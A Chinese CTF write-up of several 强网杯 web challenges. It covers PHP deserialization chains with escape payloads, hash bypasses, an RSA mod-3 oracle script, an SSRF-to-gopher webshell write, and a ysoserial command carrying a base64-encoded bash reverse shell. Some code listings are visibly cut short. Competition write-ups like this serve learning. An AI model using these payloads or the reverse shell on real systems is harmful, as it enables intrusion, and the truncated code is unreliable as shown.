前言
近期的一个周末参加了强网杯线上赛,以下是web题解。
web辅助
类定义如下:
user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
整体来说,链还是比较容易找到的:
topsolo -> __destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') -> jungle -> __toString -> KS
其中midsolo中有wakeup限制:
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
不过也是老考点了,比较好绕过。关键点是2个:
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
首先我们对象需要逃逸,否则无法反序列化我们想要的对象,其次存在对象属性名过滤:
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
属性名过滤我们可以通过:
\6e\61\6d\65
来进行bypass,而对于对象逃逸,已经是之前考察过的考点了,可以参考:
https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html
因此我们可以通过:
$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass='0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';
访问:
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/?username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=0%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%7D%3B
再触发反序列化:
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/play.php
即可获取flag:
Funhash
query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
题目源码如上,还是比较简单的,对于第一关可以使用0e开头的字符串,第二关可以使用数组,第三关则是一道老题,参考:
https://www.jianshu.com/p/12125291f50d
用ffifdyop即可。
因此最后可使用:
http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop
dice2cry
访问题目,发现cookie里放有rsa的信息:
同时发现存在文件泄露:
http://106.14.66.189/abi.php.bak
源码如下:
$result);
$json_obj = json_encode($dice);
echo $json_obj;
?>
发现可以传递参数:
$_POST['this_is.able']
但是this_is.able传递时,点会被替换成下划线:
this_is.able -> this_is_able
因此需要想办法绕过,这里查看底层处理方式main/php_variables.c,可以得知:
因此可以使用[来进行绕过,传参方式为:
this[is.able = xxxx
后面则是密码学的部分:
需要将:
https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
推广到mod 3的情况。
import requests
import json
from libnum import n2s
from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'
c = 88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671
n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157
e = 65537
def give_result_of_mod3(mm):
payload = str(mm)
data = {
'this[is.able':payload
}
Cookie = {
'PHPSESSID':'vpbteni7ahq83jh1chfs3kvug7',
'public_e':'010001',
'encrypto_flag':'88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157'
}
r = requests.post(url=url,data=data,cookies=Cookie)
#print r.content
return int(json.loads(r.content)['num'])
def hack(c,e,n):
R = n%3
j = 1
exp3 = 3
length = n
low_bound = Fraction(0,1)
while length>1:
tmp_c = (pow(exp3,e,n)*c) % n
r = give_result_of_mod3(tmp_c)
k = (-r* inverse(R,3)) % 3
low_bound += Fraction(k*n,exp3)
exp3 *= 3
length = length//3
j +=1
return int(low_bound)
res = hack(c,e,n)
print(n2s(res))
得到flag:
flag{92ab3055092aad3e1856481091
half_infiltration
题目给出了源码:
age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}
题目存在ssrf.php,想要知道源码,就必须先获取$flag的值,观察类定义,只有一个destruct可用,其中存在3个关键点:
$student->$boy();
global $$a;
ob_end_clean();
首先可以调对象的任意方法,其次存在变量覆盖,我们可以global任意变量,最后有ob_end_clean,我们拿不到输出。
同时注意到:
unserialize($_GET['x'])->get_it()
如果单独传入类则会由于没有__call方法而报错。结合上述问题,这里我们考虑用如下方式进行bypass:
age = $a;
$b->sex = 'read';
$b->num = 'result';
$c = new User();
$c->age = $a;
$c->sex = 'read';
$c->num = 'this';
$d = serialize(array($b,$c));
echo urlencode($d);
可利用global $this出错:
让ob_end_clean无法清空缓冲区,从而获取输出:
< ?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
? >
通过:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1
进行端口爆破,burp跑一遍,发现开放端口为40000:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000
查看参数名为:
猜想后端代码为:
file_put_contents($file,$content);
同时脑洞想到,文件上传目录为127.0.0.1:40000/uploads/PHPSESSID/
利用gopher传递数据,发现简单的使:
file=1.php&content=
会导致文件没有正常生成,原因应该是content被过滤了,简单测试,发现过滤了:
因此考虑使用伪协议写入内容,为避免过滤,直接选择了一个冷门的:
file=php://filter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?< pave@_$(l[TEG]"a">?;)
即可写入shell:
尝试cat flag,但是发现存在open_basedir,这里使用一些常规的绕过方案:
即可看到flag,读取即可。
easy_java
首先发现存在反序列化点:
同时看到黑名单:
发现未对JRMPListener做过滤,查看pom.xml:
发现有commons-collections依赖,因此利用ysoserial来生成exp:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 23334 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"
即可反弹shell,并获取flag。
后记